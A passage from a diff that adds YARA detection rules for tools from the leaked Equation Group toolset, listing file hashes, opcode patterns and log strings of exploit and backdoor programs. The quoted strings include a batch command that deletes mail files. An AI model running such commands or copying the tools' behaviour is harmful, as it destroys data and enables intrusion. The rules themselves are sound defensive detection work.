+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "a1637948ed6ebbd2e582eb99df0c06b27a77c01ad1779b3d84c65953ca2cb603"
+      id = "bd2257ef-8170-547d-9c5e-7ff03404495c"
+   strings:
+      $s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
+      $op0 = { c7 44 24 04 ff ff ff ff 89 04 24 e8 46 65 01 00 } /* Opcode */
+      $op1 = { 8d 5d 88 89 1c 24 e8 24 1b 01 00 be ff ff ff ff } /* Opcode */
+      $op2 = { d3 e0 48 e9 0c ff ff ff 8b 45 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and $s1 and 2 of ($op*) )
+}
+
+rule EquationGroup_cursewham_curserazor_cursezinger_curseroot_win2k {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "aff27115ac705859871ab1bf14137322d1722f63705d6aeada43d18966843225"
+      hash2 = "7a25e26950bac51ca8d37cec945eb9c38a55fa9a53bc96da53b74378fb10b67e"
+      id = "6a877998-7021-54cb-b068-452d005955b6"
+   strings:
+      $s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
+      $s3 = ",%02d%03d" fullword ascii
+      $s4 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
+
+      $op1 = { 7d ec 8d 74 3f 01 0f af f7 c1 c6 05 } /* Opcode */
+      $op2 = { 29 f1 89 fb d3 eb 89 f1 d3 e7 } /* Opcode */
+      $op3 = { 7d e4 8d 5c 3f 01 0f af df c1 c3 05 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them )
+}
+
+rule EquationGroup_watcher_linux_i386_v_3_3_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "ce4c9bfa25b8aad8ea68cc275187a894dec5d79e8c0b2f2f3ec4184dc5f402b8"
+      id = "3c5dc02b-a11a-5c61-8069-641ba90668ec"
+   strings:
+      $s1 = "invalid option `" fullword ascii
+      $s8 = "readdir64" fullword ascii
+      $s9 = "89:z89:%r%opw" fullword wide
+      $s13 = "Ropopoprstuvwypypop" fullword wide
+      $s17 = "Missing argument for `-x'." fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 700KB and all of them )
+}
+
+rule EquationGroup_charm_saver_win2k_v_2_0_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "0f7936a37482532a8ba5df4112643ed7579dd0e59181bfca9c641b9ba0a9912f"
+      id = "9c2e3b70-ffa2-598a-9f99-f7a574b06c14"
+   strings:
+      $s2 = "0123456789abcdefABCEDF:" fullword ascii
+
+      $op0 = { b8 ff ff ff ff 7f 65 eb 30 8b 55 0c 89 d7 0f b6 } /* Opcode */
+      $op2 = { ba ff ff ff ff 83 c4 6c 89 d0 5b 5e 5f 5d c3 90 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
+}
+
+rule EquationGroup_cursehappy_win2k_v_6_1_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "eb669afd246a7ac4de79724abcce5bda38117b3138908b90cac58936520ea632"
+      id = "7b75d4aa-2cbc-57fc-8fda-015bbc1fb25e"
+   strings:
+      $op1 = { e8 24 2c 01 00 85 c0 89 c6 ba ff ff ff ff 74 d6 } /* Opcode */
+      $op2 = { 89 4c 24 04 89 34 24 89 44 24 08 e8 ce 49 ff ff } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
+}
+
+rule EquationGroup_morerats_client_Store {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "619944358bc0e1faffd652b6af0600de055c5e7f1f1d91a8051ed9adf5a5b465"
+      id = "de6de983-fad2-58cf-95be-57109436d5fc"
+   strings:
+      $s1 = "[-] Failed to mmap file: %s" fullword ascii
+      $s2 = "[-] can not NULL terminate input data" fullword ascii
+      $s3 = "Missing argument for `-x'." fullword ascii
+      $s4 = "[!] Value has size of 0!" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 60KB and 2 of them )
+}
+
+rule EquationGroup_watcher_linux_x86_64_v_3_3_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "a8d65593f6296d6d06230bcede53b9152842f1eee56a2a72b0a88c4f463a09c3"
+      id = "4077242e-a0f2-54a8-afad-f52b8ed874ba"
+   strings:
+      $s1 = "forceprismheader" fullword ascii
+      $s2 = "invalid option `" fullword ascii
+      $s3 = "forceprism" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 900KB and all of them )
+}
+
+rule EquationGroup_linux_exactchange {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      super_rule = 1
+      hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
+      hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
+      hash3 = "39d4f83c7e64f5b89df9851bdba917cf73a3449920a6925b6cd379f2fdec2a8b"
+      hash4 = "15e12c1c27304e4a68a268e392be4972f7c6edf3d4d387e5b7d2ed77a5b43c2c"
+      id = "cd9487be-57c5-5352-bce7-f9510166182d"
+   strings:
+      $x1 = "[+] looking for vulnerable socket" fullword ascii
+      $x2 = "can't use 32-bit exploit on 64-bit target" fullword ascii
+      $x3 = "[+] %s socket ready, exploiting..." fullword ascii
+      $x4 = "[!] nothing looks vulnerable, trying everything" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 2000KB and 1 of them )
+}
+
+rule EquationGroup_x86_linux_exactchange {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      super_rule = 1
+      hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
+      hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
+      id = "b39e0c6e-b427-5085-99f8-88b2e00bb110"
+   strings:
+      $x1 = "kernel has 4G/4G split, not exploitable" fullword ascii
+      $x2 = "[+] kernel stack size is %d" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 1000KB and 1 of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-15
+   Identifier: Equation Group Toolset - Windows Folder
+   Reference: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EquationGroup_Toolset_Apr17_Eclipsedwing_Rpcproxy_Pcdlllauncher {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "48251fb89c510fb3efa14c4b5b546fbde918ed8bb25f041a801e3874bd4f60f8"
+      hash2 = "237c22f4d43fdacfcbd6e1b5f1c71578279b7b06ea8e512b4b6b50f10e8ccf10"
+      hash3 = "79a584c127ac6a5e96f02a9c5288043ceb7445de2840b608fc99b55cf86507ed"
+      id = "8dd15424-e1b5-5543-97d5-3b3a83faa428"
+   strings:
+      $x1 = "[-] Failed to Prepare Payload!" fullword ascii
+      $x2 = "ShellcodeStartOffset" fullword ascii
+      $x3 = "[*] Waiting for AuthCode from exploit" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Explodingcantouch_1_2_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "0cdde7472b077610d0068aa7e9035da89fe5d435549749707cae24495c8d8444"
+      id = "66a09bfc-992d-5152-9fd6-9d7bcfb8b92f"
+   strings:
+      $x1 = "[-] Connection closed by remote host (TCP Ack/Fin)" fullword ascii
+      $s2 = "[!]Warning: Error on first request - path size may actually be larger than indicated." fullword ascii
+      $s4 = "<http://%s/%s> (Not <locktoken:write1>) <http://%s/>" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 150KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Architouch_1_0_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
+      id = "c5af05b5-9dfa-535f-b9ea-c82ef79bae7e"
+   strings:
+      $s1 = "[+] Target is %s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Erraticgopher_1_0_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "3d11fe89ffa14f267391bc539e6808d600e465955ddb854201a1f31a9ded4052"
+      id = "1a3fe877-b9ae-50e4-bb1a-c9dcd4d4a657"
+   strings:
+      $x1 = "[-] Error appending shellcode buffer" fullword ascii
+      $x2 = "[-] Shellcode is too big" fullword ascii
+      $x3 = "[+] Exploit Payload Sent!" fullword ascii
+      $x4 = "[+] Bound to Dimsvc, sending exploit request to opnum 29" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 150KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Esteemaudit_2_1_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "61f98b12c52739647326e219a1cf99b5440ca56db3b6177ea9db4e3b853c6ea6"
+      id = "95594756-1872-5d86-877f-0977bd3c067b"
+   strings:
+      $x1 = "[+] Connected to target %s:%d" fullword ascii
+      $x2 = "[-] build_exploit_run_x64():" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Darkpulsar_1_1_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "b439ed18262aec387984184e86bfdb31ca501172b1c066398f8c56d128ba855a"
+      id = "0f4f77d7-99bc-5c84-84bf-877c4e79c9f0"
+   strings:
+      $x1 = "[%s] - Error upgraded DLL architecture does not match target architecture (0x%x)" fullword ascii
+      $x2 = "[%s] - Error building DLL loading shellcode" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Educatedscholar_1_0_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "4cce9e39c376f67c16df3bcd69efd9b7472c3b478e2e5ef347e1410f1105c38d"
+      id = "37ca8de5-435b-5c1a-83b8-5704fa137604"
+   strings:
+      $x1 = "[+] Shellcode Callback %s:%d" fullword ascii
+      $x2 = "[+] Exploiting Target" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 150KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13"
+      id = "99711157-58eb-5ec0-bb9f-bf953cd10125"
+   strings:
+      $x1 = "[+] Ping returned Target architecture: %s - XOR Key: 0x%08X" fullword ascii
+      $x2 = "[.] Sending shellcode to inject DLL" fullword ascii
+      $x3 = "[-] Error setting ShellcodeFile name" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Erraticgophertouch_1_0_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "729eacf20fe71bd74e57a6b829b45113c5d45003933118b53835779f0b049bad"
+      id = "9f03a4b6-69ab-5cef-876c-1e86ef2afe10"
+   strings:
+      $x1 = "[-] Unable to connect to broswer named pipe, target is NOT vulnerable" fullword ascii
+      $x2 = "[-] Unable to bind to Dimsvc RPC syntax, target is NOT vulnerable" fullword ascii
+      $x3 = "[+] Bound to Dimsvc, target IS vulnerable" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 30KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Smbtouch_1_1_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
+      id = "225799cf-4d1b-54f8-8b76-b9ee1db80ce7"
+   strings:
+      $x1 = "[+] Target is vulnerable to %d exploit%s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Educatedscholartouch_1_0_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "f4b958a0d3bb52cb34f18ea293d43fa301ceadb4a259d3503db912d0a9a1e4d8"
+      id = "62205374-25a3-5b96-ad0a-a82c9a01a242"
+   strings:
+      $x1 = "[!] A vulnerable target will not respond." fullword ascii
+      $x2 = "[-] Target NOT Vulernable" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 30KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Esteemaudittouch_2_1_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "f6b9caf503bb664b22c6d39c87620cc17bdb66cef4ccfa48c31f2a3ae13b4281"
+      id = "bb66245e-1261-50bd-8666-75fc4c52ad84"
+   strings:
+      $x1 = "[-] Touching the target failed!" fullword ascii
+      $x2 = "[-] OS fingerprint not complete - 0x%08x!" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Rpctouch_2_1_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "7fe4c3cedfc98a3e994ca60579f91b8b88bf5ae8cf669baa0928508642c5a887"
+      id = "0691768b-ca98-5722-8468-737c4966d54d"
+   strings:
+      $x1 = "[*] Failed to detect OS / Service Pack on %s:%d" fullword ascii
+      $x2 = "[*] SMB String: %s (%s)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Mofconfig_1_0_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c67a24fe2380331a101d27d6e69b82d968ccbae54a89a2629b6c135436d7bdb2"
+      id = "d0d32e19-d004-5941-a5b3-0b4306565cf2"
+   strings:
+      $x1 = "[-] Get RemoteMOFTriggerPath error" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and all of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Easypi_Explodingcan {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "dc1ddad7e8801b5e37748ec40531a105ba359654ffe8bdb069bd29fb0b5afd94"
+      hash2 = "97af543cf1fb59d21ba5ec6cb2f88c8c79c835f19c8f659057d2f58c321a0ad4"
+      id = "53d4ebf1-cce3-5fc8-8304-064b4113c9d7"
+   strings:
+      $x1 = "[-] %s - Target might not be in a usable state." fullword ascii
+      $x2 = "[*] Exploiting Target" fullword ascii
+      $x3 = "[-] Encoding Exploit Payload failed!" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Eclipsedwingtouch_1_0_4 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "46da99d80fc3eae5d1d5ab2da02ed7e61416e1eafeb23f37b180c46e9eff8a1c"
+      id = "87e46fcd-d3e5-506a-97f3-8a18a7ba8042"
+   strings:
+      $x1 = "[-] The target is NOT vulnerable" fullword ascii
+      $x2 = "[+] The target IS VULNERABLE" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 50KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Iistouch_1_2_2 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "c433507d393a8aa270576790acb3e995e22f4ded886eb9377116012e247a07c6"
+      id = "dd6ea8cc-505d-5c7c-a7ea-c5fa4f14b5ee"
+   strings:
+      $x1 = "[-] Are you being redirectect? Need to retarget?" fullword ascii
+      $x2 = "[+] IIS Target OS: %s" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 60KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Namedpipetouch_2_0_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "cb5849fcbc473c7df886828d225293ffbd8ee58e221d03b840fd212baeda6e89"
+      hash2 = "043d1c9aae6be65f06ab6f0b923e173a96b536cf84e57bfd7eeb9034cd1df8ea"
+      id = "0a5519d7-9811-5159-8df2-0cb2995d5085"
+   strings:
+      $s1 = "[*] Summary: %d pipes found" fullword ascii
+      $s3 = "[+] Testing %d pipes" fullword ascii
+      $s6 = "[-] Error on SMB startup, aborting" fullword ascii
+      $s12 = "92a761c29b946aa458876ff78375e0e28bc8acb0" fullword ascii
+
+      $op1 = { 68 10 10 40 00 56 e8 e1 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 40KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Easybee_1_0_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "59c17d6cb564edd32c770cd56b5026e4797cf9169ff549735021053268b31611"
+      id = "f170ed34-f7d1-5eb2-9400-4308b6b39388"
+   strings:
+      $x1 = "@@for /f \"delims=\" %%i in ('findstr /smc:\"%s\" *.msg') do if not \"%%MsgFile1%%\"==\"%%i\" del /f \"%%i\"" fullword ascii
+      $x2 = "Logging out of WebAdmin (as target account)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Regread_1_1_1 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "722f034ba634f45c429c7dafdbff413c08976b069a6b30ec91bfa5ce2e4cda26"
+      id = "99a2b146-a277-5917-9a84-3d396d2c8bf9"
+   strings:
+      $s1 = "[+] Connected to the Registry Service" fullword ascii
+      $s2 = "f08d49ac41d1023d9d462d58af51414daff95a6a" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Englishmansdentist_1_2_0 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      hash1 = "2a6ab28885ad7d5d64ac4c4fb8c619eca3b7fb3be883fc67c90f3ea9251f34c6"
+      id = "76367c53-9b48-59a1-9ac9-8649fd833fe3"
+   strings:
+      $x1 = "[+] CheckCredentials(): Checking to see if valid username/password" fullword ascii
+      $x2 = "Error connecting to target, TbMakeSocket() %s:%d." fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Architouch_Eternalsynergy_Smbtouch {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "444979a2387530c8fbbc5ddb075b15d6a4717c3435859955f37ebc0f40a4addc"
+      hash2 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
+      hash3 = "108243f61c53f00f8f1adcf67c387a8833f1a2149f063dd9ef29205c90a3c30a"
+      id = "df3b0794-cbbd-530c-8425-fdf4b116b870"
+   strings:
+      $s1 = "NtErrorMoreProcessingRequired" fullword ascii
+      $s2 = "Command Format Error: Error=%x" fullword ascii
+      $s3 = "NtErrorPasswordRestriction" fullword ascii
+
+      $op0 = { 8a 85 58 ff ff ff 88 43 4d }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 2 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Eternalromance_2 {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d"
+      hash2 = "b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b"
+      hash3 = "92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34"
+      id = "40066023-ede9-5669-8b4d-a26a693d8818"
+   strings:
+      $x1 = "[+] Backdoor shellcode written" fullword ascii
+      $x2 = "[*] Attempting exploit method %d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17__Emphasismine {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
+      hash1 = "dcaf91bd4af7cc7d1fb24b5292be4e99c7adf4147892f6b3b909d1d84dd4e45b"
+      hash2 = "348eb0a6592fcf9da816f4f7fc134bcae1b61c880d7574f4e19398c4ea467f26"
+      id = "cc684f39-4971-52e0-b5ec-d28c7ce7032b"
+   strings:
+      $x1 = "Error: Could not calloc() for shellcode buffer" fullword ascii
+      $x2 = "shellcodeSize: 0x%04X + 0x%04X + 0x%04X = 0x%04X" fullword ascii
+      $x3 = "Generating shellcode" fullword ascii
+      $x4 = "([0-9a-zA-Z]+) OK LOGOUT completed" fullword ascii
+      $x5 = "Error: Domino is not the expected version. (%s, %s)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 1 of them )
+}
+
+rule EquationGroup_Toolset_Apr17_Eternalromance {
+   meta:
+      description = "Detects EquationGroup Tool - April Leak"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+      date = "2017-04-15"
+      super_rule = 1
